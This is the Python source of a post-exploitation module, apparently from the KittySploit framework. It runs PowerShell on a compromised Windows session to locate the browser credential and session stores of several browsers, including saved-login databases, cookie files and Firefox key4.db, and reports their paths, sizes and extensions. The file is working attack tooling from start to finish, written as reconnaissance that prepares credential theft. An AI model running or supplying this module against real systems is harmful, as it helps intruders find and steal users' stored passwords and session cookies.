Windows Gather Browser Profile Audit
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.post.windows.session import WindowsSessionMixin
class Module(Post, WindowsSessionMixin):
__info__ = {
"name": "Windows Gather Browser Profile Audit",
"description": "Enumerate browser profiles and sensitive artifact paths",
"author": "KittySploit Team",
"platform": Platform.WINDOWS,
"session_type": [SessionType.METERPRETER, SessionType.SHELL],
"references": [
"https://attack.mitre.org/techniques/T1555/003/",
],
"agent": {
"risk": "passive",
"effects": ["reconnaissance"],
"expected_requests": 2,
"reversible": True,
"approval_required": False,
"produces": ["risk_signals"],
"cost": 0.4,
"noise": 0.15,
"value": 0.85,
"requires": {"capabilities_any": ["shell"], "capabilities_all": []},
"chain": {
"consumes_capabilities": ["shell"],
"produces_capabilities": [],
},
},
}
include_extensions = OptBool(True, "List installed browser extensions per profile", False)
max_profiles = OptInteger(8, "Maximum profiles to report per browser", False)
def _audit_script(self) -> str:
max_profiles = int(self.max_profiles or 8)
include_ext = "true" if self.include_extensions else "false"
return rf"""
$ErrorActionPreference = 'SilentlyContinue'
$maxProfiles = {max_profiles}
$includeExtensions = ${include_ext}
function Format-Size([long]$bytes) {{
if ($bytes -ge 1GB) {{ return ('{{0:N2}} GB' -f ($bytes / 1GB)) }}
if ($bytes -ge 1MB) {{ return ('{{0:N2}} MB' -f ($bytes / 1MB)) }}
if ($bytes -ge 1KB) {{ return ('{{0:N2}} KB' -f ($bytes / 1KB)) }}
return ('{{0}} B' -f $bytes)
}}
function Test-Artifact($path) {{
if (-not (Test-Path -LiteralPath $path)) {{ return $null }}
$item = Get-Item -LiteralPath $path -ErrorAction SilentlyContinue
if (-not $item) {{ return $null }}
return [PSCustomObject]@{{
Path = $path
Size = $item.Length
SizeHuman = (Format-Size $item.Length)
LastWrite = $item.LastWriteTime.ToString('s')
}}
}}
function Get-ChromiumProfiles($browserName, $userDataRoot) {{
if (-not (Test-Path -LiteralPath $userDataRoot)) {{ return @() }}
$profiles = @()
$dirs = Get-ChildItem -LiteralPath $userDataRoot -Directory -ErrorAction SilentlyContinue |
Where-Object {{ $_.Name -match '^(Default|Profile \d+)$' }} |
Select-Object -First $maxProfiles
foreach ($dir in $dirs) {{
$base = $dir.FullName
$artifacts = @{{
LoginData = Test-Artifact (Join-Path $base 'Login Data')
Cookies = Test-Artifact (Join-Path $base 'Cookies')
WebData = Test-Artifact (Join-Path $base 'Web Data')
History = Test-Artifact (Join-Path $base 'History')
Bookmarks = Test-Artifact (Join-Path $base 'Bookmarks')
LocalState = Test-Artifact (Join-Path $userDataRoot 'Local State')
}}
$extensions = @()
if ($includeExtensions) {{
$extRoot = Join-Path $base 'Extensions'
if (Test-Path -LiteralPath $extRoot) {{
$extensions = Get-ChildItem -LiteralPath $extRoot -Directory -ErrorAction SilentlyContinue |
Select-Object -ExpandProperty Name
}}
}}
$profiles += [PSCustomObject]@{{
Browser = $browserName
Profile = $dir.Name
Path = $base
Artifacts = $artifacts
ExtensionCount = $extensions.Count
Extensions = ($extensions | Select-Object -First 12)
}}
}}
return $profiles
}}
function Get-FirefoxProfiles($profilesIni) {{
$out = @()
if (-not (Test-Path -LiteralPath $profilesIni)) {{ return $out }}
$root = Split-Path -Parent $profilesIni
$lines = Get-Content -LiteralPath $profilesIni -ErrorAction SilentlyContinue
$current = @{{}}
$sections = @()
foreach ($line in $lines) {{
if ($line -match '^\[(.+)\]$') {{
if ($current.Count -gt 0) {{ $sections += [PSCustomObject]$current }}
$current = @{{ Section = $matches[1] }}
}} elseif ($line -match '^([^=]+)=(.*)$') {{
$current[$matches[1].Trim()] = $matches[2].Trim()
}}
}}
if ($current.Count -gt 0) {{ $sections += [PSCustomObject]$current }}
$profileSections = $sections | Where-Object {{ $_.Section -like 'Profile*' }} | Select-Object -First $maxProfiles
foreach ($sec in $profileSections) {{
$rel = $sec.Path
if (-not $rel) {{ continue }}
$base = if ([IO.Path]::IsPathRooted($rel)) {{ $rel }} else {{ Join-Path $root $rel }}
if (-not (Test-Path -LiteralPath $base)) {{ continue }}
$artifacts = @{{
LoginsJson = Test-Artifact (Join-Path $base 'logins.json')
Key4Db = Test-Artifact (Join-Path $base 'key4.db')
CookiesSqlite = Test-Artifact (Join-Path $base 'cookies.sqlite')
PlacesSqlite = Test-Artifact (Join-Path $base 'places.sqlite')
FormHistory = Test-Artifact (Join-Path $base 'formhistory.sqlite')
}}
$profileName = if ($sec.Name) {{ $sec.Name }} else {{ $sec.Section }}
$out += [PSCustomObject]@{{
Browser = 'Firefox'
Profile = $profileName
Path = $base
IsRelative = ($sec.IsRelative -eq '1')
Artifacts = $artifacts
ExtensionCount = 0
Extensions = @()
}}
}}
return $out
}}
$local = $env:LOCALAPPDATA
$roaming = $env:APPDATA
$user = $env:USERPROFILE
$targets = @(
@{{ Name = 'Chrome'; UserData = Join-Path $local 'Google\Chrome\User Data' }},
@{{ Name = 'Edge'; UserData = Join-Path $local 'Microsoft\Edge\User Data' }},
@{{ Name = 'Brave'; UserData = Join-Path $local 'BraveSoftware\Brave-Browser\User Data' }},
@{{ Name = 'Opera'; UserData = Join-Path $roaming 'Opera Software\Opera Stable' }},
@{{ Name = 'OperaGX'; UserData = Join-Path $roaming 'Opera Software\Opera GX Stable' }},
@{{ Name = 'Vivaldi'; UserData = Join-Path $local 'Vivaldi\User Data' }}
)
$report = @{{
Host = $env:COMPUTERNAME
User = $env:USERNAME
Browsers = @()
Profiles = @()
SensitivePaths = @()
}}
foreach ($t in $targets) {{
if (Test-Path -LiteralPath $t.UserData) {{
$report.Browsers += [PSCustomObject]@{{
Name = $t.Name
UserData = $t.UserData
}}
$report.Profiles += Get-ChromiumProfiles -browserName $t.Name -userDataRoot $t.UserData
}}
}}
$ffProfiles = Get-FirefoxProfiles (Join-Path $roaming 'Mozilla\Firefox\profiles.ini')
if ($ffProfiles.Count -gt 0) {{
$report.Browsers += [PSCustomObject]@{{
Name = 'Firefox'
UserData = Join-Path $roaming 'Mozilla\Firefox'
}}
$report.Profiles += $ffProfiles
}}
foreach ($p in $report.Profiles) {{
foreach ($key in $p.Artifacts.Keys) {{
$artifact = $p.Artifacts[$key]
if ($artifact) {{
$report.SensitivePaths += "$($p.Browser)/$($p.Profile) — $key => $($artifact.Path) [$($artifact.SizeHuman)]"
}}
}}
}}
$report | ConvertTo-Json -Depth 8 -Compress
"""
def run(self):
if not self.win_require_windows():
return False
if not self.win_require_powershell():
return False
print_info("=" * 60)
print_info("Browser profile audit")
raw = self.win_run_powershell(self._audit_script(), timeout=30)
if not raw:
print_warning("Browser profile collector returned no output")
return False
try:
import json
data = json.loads(raw.strip().splitlines()[-1])
except Exception as exc:
print_error(f"Failed to parse browser profile audit output: {exc}")
print_info(raw[:2000])
return False
browsers = data.get("Browsers", [])
profiles = data.get("Profiles", [])
sensitive = data.get("SensitivePaths", [])
if not browsers:
print_status("No common browser user-data directories found for this user")
return True
print_success(f"Detected {len(browsers)} browser installation(s)")
for browser in browsers:
print_info(f" • {browser.get('Name', '?')}: {browser.get('UserData', '')}")
print_info("-" * 60)
print_info(f"Profiles inspected: {len(profiles)}")
for profile in profiles:
name = profile.get("Browser", "?")
prof = profile.get("Profile", "?")
path = profile.get("Path", "")
print_info(f" [{name}] {prof}")
print_info(f" Path: {path}")
artifacts = profile.get("Artifacts", {}) or {}
for key, artifact in artifacts.items():
if not artifact:
continue
print_info(
f" {key}: {artifact.get('SizeHuman', '?')} "
f"(mtime {artifact.get('LastWrite', '?')})"
)
ext_count = profile.get("ExtensionCount", 0)
if ext_count:
exts = profile.get("Extensions", [])
preview = ", ".join(exts[:4])
if ext_count > 4:
preview += f", +{ext_count - 4} more"
print_info(f" Extensions: {ext_count} ({preview})")
if sensitive:
print_info("-" * 60)
print_warning("Sensitive artifact paths (DPAPI-protected where applicable):")
for line in sensitive[:25]:
print_info(f" {line}")
if len(sensitive) > 25:
print_info(f" ... {len(sensitive) - 25} more path(s)")
print_info("=" * 60)
return True
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